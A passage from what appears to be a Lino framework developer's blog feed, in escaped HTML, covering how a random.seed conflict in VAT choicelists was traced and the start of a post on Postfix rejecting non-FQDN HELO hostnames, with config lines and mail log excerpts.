are advancing ;-)&lt;/p&gt;
&lt;p&gt;I also had a closer look at the code in &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat.choicelists&lt;/span&gt;&lt;/code&gt; and
noticed this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;cc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;&amp;quot;HR&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;&amp;quot;DK&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;&amp;quot;EE&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;&amp;quot;FI&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;&amp;quot;FR&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;&amp;quot;DE&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;&amp;quot;EL&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;&amp;quot;HU&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;&amp;quot;IT&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;&amp;quot;LV&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;&amp;quot;LT&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;&amp;quot;LU&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;vat_origins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_item&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;VatOrigin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Which means that &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;VatOrigin&lt;/span&gt;&lt;/code&gt; objects are instantiated in an order that
can vary. I don’t say that this is the culprit, but it is suspicious… I made a
series of bold simplifications to the code. Result: none.&lt;/p&gt;
&lt;section id="explanation"&gt;
&lt;h2&gt;Explanation&lt;a class="headerlink" href="#explanation" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I found the explanation on April 20.&lt;/p&gt;
&lt;p&gt;While showing the problem to Sharif I had the idea that I could “patch” the
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;seed()&lt;/span&gt;&lt;/code&gt; method of the random generator
so that it logs every time when it is called.&lt;/p&gt;
&lt;p&gt;I added the following to &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino/__init__.py&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;random&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;inspect&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;stk&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lineno&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;inspect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stack&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]])&lt;/span&gt;
    &lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;20240420 random.seed(&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;, &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;) is called from &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stk&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;original_seed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Random&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;original_seed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_inst&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;seed&lt;/span&gt;
&lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Random&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;seed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;seed&lt;/span&gt;
&lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;seed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_inst&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;seed&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And now:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(dev) luc@yoga:~/work/book/lino_book/projects/cosi2$ pm prep
20240420 random.seed(None, 2) is called from /usr/lib/python3.10/random.py:125
/home/luc/virtualenvs/dev/lib/python3.10/site-packages/sympy/core/random.py:29
20240420 random.seed(None, 2) is called from /usr/lib/python3.10/random.py:125
/home/luc/virtualenvs/dev/lib/python3.10/site-packages/sympy/core/symbol.py:419
20240420 random.seed(None, 2) is called from /usr/lib/python3.10/random.py:125
/home/luc/virtualenvs/dev/lib/python3.10/site-packages/sympy/ntheory/ecm.py:7
20240420 random.seed(None, 2) is called from /usr/lib/python3.10/random.py:125
/home/luc/virtualenvs/dev/lib/python3.10/site-packages/sympy/ntheory/qs.py:8
20240420 random.seed(1, 2) is called from /home/luc/work/xl/lino_xl/lib/vat/choicelists.py:27
&amp;lt;frozen importlib._bootstrap&amp;gt;:241
20240420 random.seed(None, 2) is called from /usr/lib/python3.10/random.py:125
/usr/lib/python3.10/tempfile.py:285
20240420 random.seed(None, 2) is called from /usr/lib/python3.10/random.py:125
/usr/lib/python3.10/tempfile.py:285
We are going to flush your database (/home/luc/work/book/lino_book/projects/cosi2/settings/default.db)
AND REMOVE ALL FILES BELOW /home/luc/work/book/lino_book/projects/cosi2/settings/media.
Are you sure (y/n) ? [Y,n]?
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This made me realize that &lt;strong&gt;after&lt;/strong&gt; calling &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;random.seed()&lt;/span&gt;&lt;/code&gt; from
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat.choicelists&lt;/span&gt;&lt;/code&gt;, it gets called two more times from
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;tempfile&lt;/span&gt;&lt;/code&gt;. Ha! No need to dig more! We must simply use our own random
generator in &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat.choicelists&lt;/span&gt;&lt;/code&gt;!&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0416.html</guid><pubDate>Tue, 16 Apr 2024 00:00:00 +0000</pubDate></item><item><title>Helo command rejected: need fully-qualified hostname</title><link>https://luc.lino-framework.org/blog/2024/0409.html</link><description>&lt;section id="helo-command-rejected-need-fully-qualified-hostname"&gt;
&lt;h1&gt;Helo command rejected: need fully-qualified hostname&lt;a class="headerlink" href="#helo-command-rejected-need-fully-qualified-hostname" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Tuesday, April 9, 2024&lt;/p&gt;
&lt;p&gt;Uff! &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5535"&gt;#5535&lt;/a&gt; (How to send emails from a developer environment) is finally
done! Today I learned a lot, but the only visible result is this blog post and
two paragraphs in &lt;a class="reference external" href="https://hosting.lino-framework.org/email/#hg-email" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;The email settings of a Lino site&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For my tests, I wrote a script &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;quick_mail_test.py&lt;/span&gt;&lt;/code&gt; in the &lt;a class="reference external" href="https://dev.lino-framework.org/projects/noi1r.html#dg-projects-noi1r" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-ref"&gt;noi1r&lt;/span&gt;&lt;/a&gt; demo project. My email settings are  of course not
published, I store them in my &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_local.settings&lt;/span&gt;&lt;/code&gt; module.&lt;/p&gt;
&lt;p&gt;Problem: When I try to send emails from my developer environment, our mail
server refuses them saying “Helo command rejected: need fully-qualified
hostname”.&lt;/p&gt;
&lt;p&gt;That’s because in our &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/postfix/main.cf&lt;/span&gt;&lt;/code&gt; we have:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;smtpd_helo_restrictions&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;reject_invalid_helo_hostname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;reject_non_fqdn_helo_hostname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;reject_unknown_helo_hostname&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I got my mail to pass by commenting out the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;smtpd_helo_restrictions&lt;/span&gt;&lt;/code&gt; in the
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/postfix/main.cf&lt;/span&gt;&lt;/code&gt; file. But that’s not a solution. These restrictions
are probably a good choice, and they don’t cause Thunderbird to fail. So the
question is: what does Thunderbird do differently from Django when sending
emails?&lt;/p&gt;
&lt;p&gt;I increased the verbosity of smtpd (in &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/postfix/master.cf&lt;/span&gt;&lt;/code&gt;) and then
observed our &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/var/log/mail.log&lt;/span&gt;&lt;/code&gt;. But that didn’t help. Postfix doesn’t
seem to consider the HELO command something worth to log. Here are some
excerpts.&lt;/p&gt;
&lt;p&gt;Submit an email from my Thunderbird:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;944041&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;211&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;169&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;190&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;90.&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;estpak&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;90.190.169.211&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;944041&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;Anonymous&lt;/span&gt; &lt;span class="n"&gt;TLS&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="n"&gt;established&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;211&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;169&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;190&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;90.&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;estpak&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;90.190.169.211&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
  &lt;span class="n"&gt;TLSv1&lt;/span&gt;&lt;span class="mf"&gt;.3&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="n"&gt;TLS_AES_256_GCM_SHA384&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt; &lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;exchange&lt;/span&gt; &lt;span class="n"&gt;X25519&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;signature&lt;/span&gt; &lt;span class="n"&gt;RSA&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;PSS&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2048&lt;/span&gt; &lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;digest&lt;/span&gt; &lt;span class="n"&gt;SHA256&lt;/span&gt;
&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;944041&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;F22F2209BB&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;211&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;169&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;190&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;90.&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;estpak&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;90.190.169.211&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;sasl_method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;PLAIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sasl_username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;
&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cleanup&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;944055&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;F22F2209BB&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;b52dde5e&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;165&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="n"&gt;b73&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;89&lt;/span&gt;&lt;span class="n"&gt;aa&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;bb1bde876303&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;opendkim&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;573&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;F22F2209BB&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DKIM&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Signature&lt;/span&gt; &lt;span class="n"&gt;field&lt;/span&gt; &lt;span class="n"&gt;added&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;943857&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;F22F2209BB&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1308&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nrcpt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt; &lt;span class="n"&gt;active&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
